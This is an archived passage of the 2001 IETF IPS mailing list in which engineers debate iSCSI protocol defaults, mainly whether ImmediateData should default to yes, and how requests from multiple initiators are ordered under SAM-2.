> > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com > > > > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 09:50:21 AM > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > To: ips@ece.cmu.edu > > cc: > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > The one that I have trouble living with is ImmediateData. > > This is important > > for low-end desktops and hardly matters for large boxes. > > As such I would suggest it stays as yes. > > > > Julo > > > > > > > > "Eddy > > Quicksall" To: "'Santosh Rao'" > > , > > > > iaone.net> cc: > > Sent by: Subject: RE: > > iscsi : iscsi > > parameter default values > > owner-ips@ece.c > > mu.edu > > > > > > 27-09-01 17:22 > > Please respond > > to "Eddy > > Quicksall" > > > > > > > > > > > > I like your defaults below. > > > > But, section 5 says: > > > > The initial Login request MUST include the InitiatorName and > > SessionType key=value pairs. > > > > Since SessionType is REQUIRED, naming a default would imply a > > possible typo > > in the spec. > > > > Eddy > > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Wednesday, September 26, 2001 10:29 PM > > To: ips@ece.cmu.edu > > Subject: iscsi : iscsi parameter default values > > > > > > All, > > > > With the issue of mode page vs. login keys having [almost] > drawn to a > > close, I would like to > > raise the below issues again, on the subject of default > > values for login > > keys and other iscsi > > parameters : > > > > > > * In keeping with traditional use of scsi mode pages, > iscsi should > > not specify any default > > settings for any mode pages that continue to exist for iscsi. > > "Default values" for mode > > pages are target specific and should not be bound to > the protocol > > draft. > > > > * MORE IMPORTANTLY, I read the default for EMDP as being set to 1 > > :-< This implies that > > targets must be always prepared to deal with out of > > order data and > > initiators must be > > prepared to deal with out of order data, unless the initiator > > performs a mode select to > > disable it. [which defeats all the previous advantages > > gained thru > > mandating use of login > > keys for other negotiations.]. A default, if it were to exist, > > should be 0. (in-order, by > > default). > > > > * Conservative specification of defaults for login keys along the > > following lines : > > MaxConnections = 1 > > FMarker = "no" > > InitialR2T = "yes" > > BidiInitialR2T = "yes" > > ImmediateData = "no" > > DataPDULength = 16 > > MaxOutstandingR2T = 1 > > DataPDUInOrder = "yes" > > ErrorRecoveryLevel = 0 > > SessionType = "normal" > > > > * Should the iscsi protocol require a "Lun Control Mode > Page"? IOW, > > is an EnableCRN bit > > required at the transport layer ? If the device server > capability > > is to be negotiated , I > > suggest this bit be moved to a SCSI ULP Mode Page such as the > > "Control Mode Page", through a > > T10 change as a part of the SCSI changes being driven by iscsi. > > > > Comments ? > > > > Thanks, > > Santosh > > > > > > Santosh Rao wrote: > > > > > There are the separate issues of : > > > > > > * iscsi's specification of defaults for its mode pages > > which is not > > in line with mode page > > > usage. This impacts the target's ability to enforce > > values other > > than the protocol > > > specified default, if the initiator were to not use mode > > sense/select. > > > > > > * default settings for login keys. > > > > > > * Is there a need for the "LUN Control Mode Page" and whether > > "Enable CRN" should be in a > > > transport specific mode page ? > > > > > > which need to be driven to closure as well. > > > > > > Regards, > > > Santosh > > > > > > > > > > > > > > > > > > > > > > > > > > > From owner-ips@ece.cmu.edu Sun Sep 30 07:45:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA21455 for ; Sun, 30 Sep 2001 07:45:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UAtEo28407 for ips-outgoing; Sun, 30 Sep 2001 06:55:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from smtp02.wxs.nl (smtp02.wxs.nl [195.121.6.54]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8UAtBP28400 for ; Sun, 30 Sep 2001 06:55:11 -0400 (EDT) Received: from daniel ([213.10.179.111]) by smtp02.wxs.nl (Netscape Messaging Server 4.15) with SMTP id GKH2BR00.W00; Sun, 30 Sep 2001 12:55:03 +0200 Message-ID: <003001c149a0$2fbc2920$9600000a@daniel> From: "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" To: "Edward A. Gardner" , "'IPS Reflector'" , References: <001f01c1495e$41644b90$0302010a@boa> Subject: Re: iSCSI:Request/Response Ordering Date: Sun, 30 Sep 2001 13:08:07 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Edward, Thanks for the answer, Yes i guess locking in combination with ordered requests can help in solving this problem out. Howevere i think that there should be some way in which write access to the target can be reserved for some initiators. ( i dont know if that already exists) or there should be some way of ordering of requests fos a target LU in task router/ task manager any comments? sanjeev ----- Original Message ----- From: "Edward A. Gardner" To: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" ; "'IPS Reflector'" ; Sent: Sunday, September 30, 2001 5:16 AM Subject: Re: iSCSI:Request/Response Ordering > The simple answer is that an initiator may not make any assumptions about > the order of requests to the same blocks (by itself or other initiators) > that may be outstanding at the same time. If you care about ordering, an > initiator must wait until previous requests are complete before issuing a > request that references the same block(s). > > This assumes that all commands are issued as simple tasks, which is the most > common situation today (one suspects the only situation). > > People have suggested more complex schemes in the past, amounting to > exporting some portion of the transfer dependency graph to the target. The > ordered task attribute is one approach to this. None have proved practical > in practice. > > In practice, if a target receives references to the same block from multiple > initiators, it can perform the operations in whatever order it wishes. > There is no "correct" order, all are equally valid. (Again, I'm assuming > all are issued as simple tasks). > > Edward A. Gardner eag@ophidian.com > Ophidian Designs 719 593-8866 voice > 1262 Hofstead Terrace 719 593-8989 fax > Colorado Springs, CO 80907 719 210-7200 cell > -----Original Message----- > From: Sanjeev Bhagat (TRIPACE/Zoetermeer) > To: 'IPS Reflector' ; T10@t10.org > Date: Saturday, September 29, 2001 7:03 PM > Subject: iSCSI:Request/Response Ordering > > > Hello All (T10, IPS), > > The SAM-2 specifications makes no assumption about, or places any > requirement on the ordering of requests or responses between tasks or task > management functions received from different SCSI initiator ports. > > In this scenario how can a SCSI target make correctly handle the read/write > requests made on same blocks by different intiators at the same time. > > Sanjeev > > > > From owner-ips@ece.cmu.edu Sun Sep 30 08:15:15 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA21829 for ; Sun, 30 Sep 2001 08:15:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UBhn529645 for ips-outgoing; Sun, 30 Sep 2001 07:43:49 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8UBhjP29638 for ; Sun, 30 Sep 2001 07:43:45 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id NAA07796 for ; Sun, 30 Sep 2001 13:43:37 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8UBhbh248794 for ; Sun, 30 Sep 2001 13:43:37 +0200 To: ips@ece.cmu.edu MIME-Version: 1.0 Subject: RE: iscsi : iscsi parameter default values X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 From: "Julian Satran" X-MIMETrack: S/MIME Sign by Notes Client on Julian Satran/Haifa/IBM(Release 5.0.8 |June 18, 2001) at 30-09-2001 09:59:26, Serialize by Notes Client on Julian Satran/Haifa/IBM(Release 5.0.8 |June 18, 2001) at 30-09-2001 09:59:26, Serialize complete at 30-09-2001 09:59:26, S/MIME Sign failed at 30-09-2001 09:59:27: The cryptographic key was not found, Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 30/09/2001 14:43:36, Serialize complete at 30/09/2001 14:43:36 Message-ID: Date: Sun, 30 Sep 2001 14:43:35 +0300 Content-Type: multipart/alternative; boundary="=_alternative 002BE4F2C2256AD7_=" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multipart message in MIME format. --=_alternative 002BE4F2C2256AD7_= Content-Type: text/plain; charset="us-ascii" Robert, Immediate data is governed by the PDU-size. In the extrem 1 PDU can be as large as First-Burst-SIze. In your example the total buffer space needed is 500 MBytes - and certainly a 50 LU controller with queues that go 50 deep can afford that. In any case the default value is (in this case) more an encouragement to implement than anything else as resetting the value to no involves no extra exchange (even a minimal login can achieve it). Regards, Julo Robert Snively 30-09-01 07:48 Please respond to Robert Snively To: Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu cc: Subject: RE: iscsi : iscsi parameter default values Julian, Are not both immediate data and "unsolicited" data outside the command PDU both governed by the first-burst size? If so, the problem remains the same. If you have 50 initiators through each of 10 ports to 50 logical units with 50 commands queued in each with immediate data of 4K bytes, that adds up to a lot of bytes which have to have buffers pre-reserved to allow normal operation. It is the buffer management that is invasive, not the indexing of the buffer contents. It is the dual-copy requirement that is invasive, significantly increasing buffer utilization. For these problems, immediate data and unsolicited data are equivalent. Frankly, I see no functional difference between sending data in the same PDU and sending data in an immediately following PDU. In FCP, we found that immediate data caused sufficient complexity, both in parsing command structures and in performing error recovery, that we chose not to allow it since there was no performance benefit anyway. > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 28, 2001 10:29 PM > To: ips@ece.cmu.edu > Subject: RE: iscsi : iscsi parameter default values > > > > Robert, > > Unlike FCP - iSCSI has two forms of unsolicited "immediate" > and "separate > unsolicited". They can be used separately or together. > Immediate data is a single PDU comming together with the > command while the > separate unsolicited may come after. > > FCP has only the second type. > > With separate unsolicited the target has to have the buffers > for the burst > and find the "control blocks" by indexing based on ITT. > > With Immediate data the target has to deal with a single PDU (not the > entire burst). Indexing is not done twice (it is done as a > check for the > Control block that is being built). > > This is why Immediate Data is considered far less invasive > than separate > unsolicited (a single buffer, and no indexing) and give the > performance > boost it gives we are going to see it probably on every target. > > Julo > > > > > Robert Snively > > Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu > ade.com> cc: > > Subject: RE: > iscsi : iscsi parameter default values > 29-09-01 01:31 > > Please respond > > to Robert > > Snively > > > > > > > > > Julian, > > For SCSI Write operations, ImmediateData = yes is > the most demanding mode for the target. If I understand > it correctly, it essentially over-rides the R2T state, > allowing the first burst to be included as immediate data. > In SCSI, except for special cases like this, the target > is the device in charge of data transfers. > > This mode requires the target to have a guaranteed collection of > received buffer space adequate to receive all possible > outbound queued operations from all possible initiators > through all possible target sessions (which may sum to > 1000s of output operations), regardless of what other > buffer-intensive operations may be going on in the device. > > It then requires the device to provide association with each > of those commands instead of just the commands it has elected > to activate. Without immediate data, the command buffer can be > separated and separately managed from the data buffer, > limiting buffer requirements. > > It then requires the device to operate in a non-zero-copy > mode (which raises buffer utilization and increases latency) > while the device analyzes the command to determine what should > be done with the data. It further requires the subsequent > data (if there is more than one PDU to be transmitted) to > be separately managed, and perhaps actually stored in a > separate operation if the buffer must be cleared to make > space available for it. It further requires the target to > analyze the data for completeness before going on to determine > what to do with it. > > Sure, it is easy for the initiator, but so is everything else > except out-of-order reads. > It is the target you are stressing with this. > > For local sub-LANs, and depending on the actual buffering > available in the target, the performance may actually be lower with > ImmediateData allowed, because zero copy behavior of the > target to non-volatile media is not available, which raises > buffer utilization. > > Have I missed something that would change my mind? > > Bob > > > > -----Original Message----- > > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > > Sent: Friday, September 28, 2001 10:38 AM > > To: ips@ece.cmu.edu > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > Robert, > > > > I disagree that Immediate is "the most demanding" mode. That > > is not my > > experience and not what I heard from most of the developers. On the > > contrary immediate data do not require a separate indexing > > operation on the > > target (as non-immediate unsolicited do) and that was the > base for the > > consensus to have them negotiated separately. > > > > For the software initiator it is the most inexpensive way to > > perform short > > data transfers (4-8k) typical for major applications like > > Database access > > and so it is for lightweight target. > > > > Julo > > > > > > > > > > > > Robert Snively > > > > > Hufferd/San Jose/IBM@IBMUS, Julian > > ade.com> > > Satran/Haifa/IBM@IBMIL > > cc: > > ips@ece.cmu.edu > > 28-09-01 17:25 Subject: RE: > > iscsi : iscsi parameter default values > > Please respond > > > > to Robert > > > > Snively > > > > > > > > > > > > > > > > > > I vote no as the default value on ImmediateData. > > > > A default value of yes on ImmediateData requires implementation > > of the most complex and demanding mode of operation as the > > default. SCSI has traditionally made its default behavior the > > simplest and most encompassing, setting more sophisticated > > behavior by subsequent agreement. While it may be your earnest > > desire to encourage the implementation of this function, it > > is not appropriate to demand that as the default behavior > > of all devices. In particular, there is no special benefit > > to providing ImmediateData in low-cost local sub-lans. > > > > If you want to encourage it in a profile, fine, but demanding > > it as the default in the core standard is not appropriate. > > > > Note that the behavior of SCSI is traditionally managed > > entirely by the target. As such, there has never before now > > been a requirement for the target to, as a default, accept > > any PDU except a command or task management function > > that was not explicitly solicited. That is one of the mechanisms > > that assists SCSI in achieving a low-overhead zero copy > > capability while operating with a large number of initiators > > and with deep command queues. > > > > Bob Snively e-mail: rsnively@brocade.com > > Brocade Communications Systems phone: 408 487 8135 > > 1745 Technology Drive > > San Jose, CA 95110 > > > > > > > > > -----Original Message----- > > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > > Sent: Friday, September 28, 2001 1:33 AM > > > To: Julian Satran > > > Cc: ips@ece.cmu.edu > > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > > > I also agree with this. It should be yes. > > > > > > . > > > . > > > . > > > John L. Hufferd > > > Senior Technical Staff Member (STSM) > > > IBM/SSG San Jose Ca > > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > > Home Office (408) 997-6136 > > > Internet address: hufferd@us.ibm.com > > > > > > > > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001 > 09:50:21 AM > > > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > > > > To: ips@ece.cmu.edu > > > cc: > > > Subject: RE: iscsi : iscsi parameter default values > > > > > > > > > > > > > > > The one that I have trouble living with is ImmediateData. > > > This is important > > > for low-end desktops and hardly matters for large boxes. > > > As such I would suggest it stays as yes. > > > > > > Julo > > > > > > > > > > > > "Eddy > > > Quicksall" To: "'Santosh Rao'" > > > , > > > > > > iaone.net> cc: > > > Sent by: Subject: RE: > > > iscsi : iscsi > > > parameter default values > > > owner-ips@ece.c > > > mu.edu > > > > > > > > > 27-09-01 17:22 > > > Please respond > > > to "Eddy > > > Quicksall" > > > > > > > > > > > > > > > > > > I like your defaults below. > > > > > > But, section 5 says: > > > > > > The initial Login request MUST include the InitiatorName and > > > SessionType key=value pairs. > > > > > > Since SessionType is REQUIRED, naming a default would imply a > > > possible typo > > > in the spec. > > > > > > Eddy > > > > > > -----Original Message----- > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > Sent: Wednesday, September 26, 2001 10:29 PM > > > To: ips@ece.cmu.edu > > > Subject: iscsi : iscsi parameter default values > > > > > > > > > All, > > > > > > With the issue of mode page vs. login keys having [almost] > > drawn to a > > > close, I would like to > > > raise the below issues again, on the subject of default > > > values for login > > > keys and other iscsi > > > parameters : > > > > > > > > > * In keeping with traditional use of scsi mode pages, > > iscsi should > > > not specify any default > > > settings for any mode pages that continue to exist for iscsi. > > > "Default values" for mode > > > pages are target specific and should not be bound to > > the protocol > > > draft. > > > > > > * MORE IMPORTANTLY, I read the default for EMDP as > being set to 1 > > > :-< This implies that > > > targets must be always prepared to deal with out of > > > order data and > > > initiators must be > > > prepared to deal with out of order data, unless the initiator > > > performs a mode select to > > > disable it. [which defeats all the previous advantages > > > gained thru > > > mandating use of login > > > keys for other negotiations.]. A default, if it were > to exist, > > > should be 0. (in-order, by > > > default). > > > > > > * Conservative specification of defaults for login > keys along the > > > following lines : > > > MaxConnections = 1 > > > FMarker = "no" > > > InitialR2T = "yes" > > > BidiInitialR2T = "yes" > > > ImmediateData = "no" > > > DataPDULength = 16 > > > MaxOutstandingR2T = 1 > > > DataPDUInOrder = "yes" > > > ErrorRecoveryLevel = 0 > > > SessionType = "normal" > > > > > > * Should the iscsi protocol require a "Lun Control Mode > > Page"? IOW, > > > is an EnableCRN bit > > > required at the transport layer ? If the device server > > capability > > > is to be negotiated , I > > > suggest this bit be moved to a SCSI ULP Mode Page such as the > > > "Control Mode Page", through a > > > T10 change as a part of the SCSI changes being > driven by iscsi. > > > > > > Comments ? > > > > > > Thanks, > > > Santosh > > > > > > > > > Santosh Rao wrote: > > > > > > > There are the separate issues of : > > > > > > > > * iscsi's specification of defaults for its mode pages > > > which is not > > > in line with mode page > > > > usage. This impacts the target's ability to enforce > > > values other > > > than the protocol > > > > specified default, if the initiator were to not use mode > > > sense/select. > > > > > > > > * default settings for login keys. > > > > > > > > * Is there a need for the "LUN Control Mode Page" and whether > > > "Enable CRN" should be in a > > > > transport specific mode page ? > > > > > > > > which need to be driven to closure as well. > > > > > > > > Regards, > > > > Santosh > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > --=_alternative 002BE4F2C2256AD7_= Content-Type: text/html; charset="us-ascii"
Robert,

Immediate data is governed by the PDU-size. In the extrem 1 PDU can be as large as First-Burst-SIze.
In your example the total buffer space needed is 500 MBytes - and certainly a 50 LU controller with queues that go 50 deep can afford that.


In any case  the default value is (in this case) more an encouragement to implement than anything else as resetting
the value to no involves no extra exchange (even a minimal login can achieve it).

Regards,
Julo


Robert Snively <rsnively@brocade.com>

30-09-01 07:48
Please respond to Robert Snively

       
        To:        Julian Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu
        cc:        
        Subject:        RE: iscsi : iscsi parameter default values

       


Julian,

Are not both immediate data and "unsolicited" data outside the
command PDU both governed by the first-burst size?  If so,
the problem remains the same.  If you have 50 initiators through
each of 10 ports to 50 logical units with 50 commands queued in
each with immediate data of 4K bytes, that adds up to a lot of
bytes which have to have buffers pre-reserved to allow normal
operation.  It is the buffer management that is invasive, not
the indexing of the buffer contents.  It is the dual-copy requirement
that is invasive, significantly increasing buffer utilization.  

For these problems, immediate data and unsolicited data are
equivalent.  Frankly, I see no functional difference between
sending data in the same PDU and sending data in an immediately
following PDU.  In FCP, we found that immediate data caused
sufficient complexity, both in parsing command structures and
in performing error recovery, that we chose not to allow it
since there was no performance benefit anyway.

> -----Original Message-----
> From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
> Sent: Friday, September 28, 2001 10:29 PM
> To: ips@ece.cmu.edu
> Subject: RE: iscsi : iscsi parameter default values
>
>
>
> Robert,
>
> Unlike FCP - iSCSI has two forms of unsolicited "immediate"
> and "separate
> unsolicited". They can be used separately or together.
> Immediate data is a single PDU comming together with the
> command while the
> separate unsolicited may come after.
>
> FCP has only the second type.
>
> With separate unsolicited the target has to have the buffers
> for the burst
> and find the "control blocks" by indexing based on ITT.
>
> With Immediate data the target has to deal with a single PDU (not the
> entire burst). Indexing is not done twice (it is done as a
> check for the
> Control block that is being built).
>
> This is why Immediate Data is considered far less  invasive
> than separate
> unsolicited (a single buffer, and no indexing) and give the
> performance
> boost it gives we are going to see it probably on every target.
>
> Julo
>
>
>                                                              
>                                    
>                     Robert Snively                            
>                                    
>                     <rsnively@broc       To:     Julian
> Satran/Haifa/IBM@IBMIL, ips@ece.cmu.edu  
>                     ade.com>             cc:                  
>                                    
>                                          Subject:     RE:
> iscsi : iscsi parameter default values
>                     29-09-01 01:31                            
>                                    
>                     Please respond                            
>                                    
>                     to Robert                                
>                                    
>                     Snively                                  
>                                    
>                                                              
>                                    
>                                                              
>                                    
>
>
>
> Julian,
>
> For SCSI Write operations, ImmediateData = yes is
> the most demanding mode for the target.  If I understand
> it correctly, it essentially over-rides the R2T state,
> allowing the first burst to be included as immediate data.
> In SCSI, except for special cases like this, the target
> is the device in charge of data transfers.
>
> This mode requires the target to have a guaranteed collection of
> received buffer space adequate to receive all possible
> outbound queued operations from all possible initiators
> through all possible target sessions (which may sum to
> 1000s of output operations), regardless of what other
> buffer-intensive operations may be going on in the device.
>
> It then requires the device to provide association with each
> of those commands instead of just the commands it has elected
> to activate.  Without immediate data, the command buffer can be
> separated and separately managed from the data buffer,
> limiting buffer requirements.
>
> It then requires the device to operate in a non-zero-copy
> mode (which raises buffer utilization and increases latency)
> while the device analyzes the command to determine what should
> be done with the data.  It further requires the subsequent
> data (if there is more than one PDU to be transmitted) to
> be separately managed, and perhaps actually stored in a
> separate operation if the buffer must be cleared to make
> space available for it.  It further requires the target to
> analyze the data for completeness before going on to determine
> what to do with it.
>
> Sure, it is easy for the initiator, but so is everything else
> except out-of-order reads.
> It is the target you are stressing with this.
>
> For local sub-LANs, and depending on the actual buffering
> available in the target, the performance may actually be lower with
> ImmediateData allowed, because zero copy behavior of the
> target to non-volatile media is not available, which raises
> buffer utilization.
>
> Have I missed something that would change my mind?
>
> Bob
>
>
> > -----Original Message-----
> > From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
> > Sent: Friday, September 28, 2001 10:38 AM
> > To: ips@ece.cmu.edu
> > Subject: RE: iscsi : iscsi parameter default values
> >
> >
> >
> >
> > Robert,
> >
> > I disagree that Immediate is "the most demanding" mode.  That
> > is not my
> > experience and not what I heard from most of the developers.  On the
> > contrary immediate data do not require a separate indexing
> > operation on the
> > target (as non-immediate unsolicited do) and that was the
> base for the
> > consensus to have them negotiated separately.
> >
> > For the software initiator it is the most inexpensive way to
> > perform short
> > data transfers (4-8k) typical for major applications like
> > Database access
> > and so it is for lightweight target.
> >
> > Julo
> >
> >
> >
> >
> >
> >                     Robert Snively
> >
> >                     <rsnively@broc       To:     John
> > Hufferd/San Jose/IBM@IBMUS, Julian
> >                     ade.com>
> > Satran/Haifa/IBM@IBMIL
> >                                          cc:
> > ips@ece.cmu.edu
> >                     28-09-01 17:25       Subject:     RE:
> > iscsi : iscsi parameter default values
> >                     Please respond
> >
> >                     to Robert
> >
> >                     Snively
> >
> >
> >
> >
> >
> >
> >
> >
> > I vote no as the default value on ImmediateData.
> >
> > A default value of yes on ImmediateData requires implementation
> > of the most complex and demanding mode of operation as the
> > default.  SCSI has traditionally made its default behavior the
> > simplest and most encompassing, setting more sophisticated
> > behavior by subsequent agreement.  While it may be your earnest
> > desire to encourage the implementation of this function, it
> > is not appropriate to demand that as the default behavior
> > of all devices.  In particular, there is no special benefit
> > to providing ImmediateData in low-cost local sub-lans.
> >
> > If you want to encourage it in a profile, fine, but demanding
> > it as the default in the core standard is not appropriate.
> >
> > Note that the behavior of SCSI is traditionally managed
> > entirely by the target.  As such, there has never before now
> > been a requirement for the target to, as a default, accept
> > any PDU except a command or task management function
> > that was not explicitly solicited.  That is one of the mechanisms
> > that assists SCSI in achieving a low-overhead zero copy
> > capability while operating with a large number of initiators
> > and with deep command queues.
> >
> > Bob Snively                        e-mail:    rsnively@brocade.com
> > Brocade Communications Systems     phone:  408 487 8135
> > 1745 Technology Drive
> > San Jose, CA 95110
> >
> >
> >
> > > -----Original Message-----
> > > From: John Hufferd [mailto:hufferd@us.ibm.com]
> > > Sent: Friday, September 28, 2001 1:33 AM
> > > To: Julian Satran
> > > Cc: ips@ece.cmu.edu
> > > Subject: RE: iscsi : iscsi parameter default values
> > >
> > >
> > >
> > > I also agree with this.  It should be yes.
> > >
> > > .
> > > .
> > > .
> > > John L. Hufferd
> > > Senior Technical Staff Member (STSM)
> > > IBM/SSG San Jose Ca
> > > Main Office (408) 256-0403, Tie: 276-0403,  eFax: (408) 904-4688
> > > Home Office (408) 997-6136
> > > Internet address: hufferd@us.ibm.com
> > >
> > >
> > > Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/27/2001
> 09:50:21 AM
> > >
> > > Sent by:  owner-ips@ece.cmu.edu
> > >
> > >
> > > To:   ips@ece.cmu.edu
> > > cc:
> > > Subject:  RE: iscsi : iscsi parameter default values
> > >
> > >
> > >
> > >
> > > The one that I have trouble living with is ImmediateData.
> > > This is important
> > > for low-end desktops and hardly matters for large boxes.
> > > As such I would suggest it stays as yes.
> > >
> > > Julo
> > >
> > >
> > >
> > >                     "Eddy
> > >                     Quicksall"            To:     "'Santosh Rao'"
> > > <santoshr@cup.hp.com>,
> > >                     <EQuicksall@med        <ips@ece.cmu.edu>
> > >                     iaone.net>            cc:
> > >                     Sent by:              Subject:     RE:
> > > iscsi : iscsi
> > > parameter default values
> > >                     owner-ips@ece.c
> > >                     mu.edu
> > >
> > >
> > >                     27-09-01 17:22
> > >                     Please respond
> > >                     to "Eddy
> > >                     Quicksall"
> > >
> > >
> > >
> > >
> > >
> > > I like your defaults below.
> > >
> > > But, section 5 says:
> > >
> > >  The initial Login request MUST include the InitiatorName and
> > >  SessionType key=value pairs.
> > >
> > > Since SessionType is REQUIRED, naming a default would imply a
> > > possible typo
> > > in the spec.
> > >
> > > Eddy
> > >
> > > -----Original Message-----
> > > From: Santosh Rao [mailto:santoshr@cup.hp.com]
> > > Sent: Wednesday, September 26, 2001 10:29 PM
> > > To: ips@ece.cmu.edu
> > > Subject: iscsi : iscsi parameter default values
> > >
> > >
> > > All,
> > >
> > > With the issue of mode page vs. login keys having [almost]
> > drawn to a
> > > close, I would like to
> > > raise the below issues again, on the subject of default
> > > values for login
> > > keys and other iscsi
> > > parameters :
> > >
> > >
> > >    * In keeping with traditional use of scsi mode pages,
> > iscsi should
> > > not specify any default
> > >      settings for any mode pages that continue to exist for iscsi.
> > > "Default values" for mode
> > >      pages are target specific and should not be bound to
> > the protocol
> > > draft.
> > >
> > >    * MORE IMPORTANTLY, I read the default for EMDP as
> being set to 1
> > > :-<  This implies that
> > >      targets must be always prepared to deal with out of
> > > order data and
> > > initiators must be
> > >      prepared to deal with out of order data, unless the initiator
> > > performs a mode select to
> > >      disable it. [which defeats all the previous advantages
> > > gained thru
> > > mandating use of login
> > >      keys for other negotiations.]. A default, if it were
> to exist,
> > > should be 0. (in-order, by
> > >      default).
> > >
> > >    * Conservative specification of defaults for login
> keys along the
> > > following lines :
> > >                             MaxConnections = 1
> > >                             FMarker = "no"
> > >                             InitialR2T = "yes"
> > >                             BidiInitialR2T = "yes"
> > >                             ImmediateData = "no"
> > >                             DataPDULength = 16
> > >                             MaxOutstandingR2T = 1
> > >                             DataPDUInOrder = "yes"
> > >                             ErrorRecoveryLevel = 0
> > >                             SessionType = "normal"
> > >
> > >    * Should the iscsi protocol require a "Lun Control Mode
> > Page"? IOW,
> > > is an EnableCRN bit
> > >      required at the transport layer ? If the device server
> > capability
> > > is to be negotiated , I
> > >      suggest this bit be moved to a SCSI ULP Mode Page such as the
> > > "Control Mode Page", through a
> > >      T10 change as a part of the SCSI changes being
> driven by iscsi.
> > >
> > > Comments ?
> > >
> > > Thanks,
> > > Santosh
> > >
> > >
> > > Santosh Rao wrote:
> > >
> > > > There are the separate issues of :
> > > >
> > > >    * iscsi's specification of defaults for its mode pages
> > > which is not
> > > in line with mode page
> > > >      usage. This impacts the target's ability to enforce
> > > values other
> > > than the protocol
> > > >      specified default, if the initiator were to not use mode
> > > sense/select.
> > > >
> > > >    * default settings for login keys.
> > > >
> > > >    * Is there a need for the "LUN Control Mode Page" and whether
> > > "Enable CRN" should be in a
> > > >      transport specific mode page ?
> > > >
> > > > which need to be driven to closure as well.
> > > >
> > > > Regards,
> > > > Santosh
> > >
> > >
> > >
> > >
> > >
> > >
> > >
> > >
> > >
> > >
> > >
> >
> >
> >
> >
> >
>
>
>
>
>


--=_alternative 002BE4F2C2256AD7_=-- From owner-ips@ece.cmu.edu Sun Sep 30 08:17:17 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA21875 for ; Sun, 30 Sep 2001 08:17:17 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8UBhpT29651 for ips-outgoing; Sun, 30 Sep 2001 07:43:51 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8UBhnP29647 for ; Sun, 30 Sep 2001 07:43:49 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id NAA94288 for ; Sun, 30 Sep 2001 13:43:35 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8UBhZ155142 for ; Sun, 30 Sep 2001 13:43:35 +0200 Subject: Re: iSCSI: Binary functions To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sun, 30 Sep 2001 09:03:35 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 30/09/2001 14:43:34 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Eddy, I appreciate your humour. Julo "Eddy Quicksall" To: Subject: iSCSI: Binary functions Sent by: owner-ips@ece.c mu.edu 29-09-01 01:17 Please respond to "Eddy Quicksall" 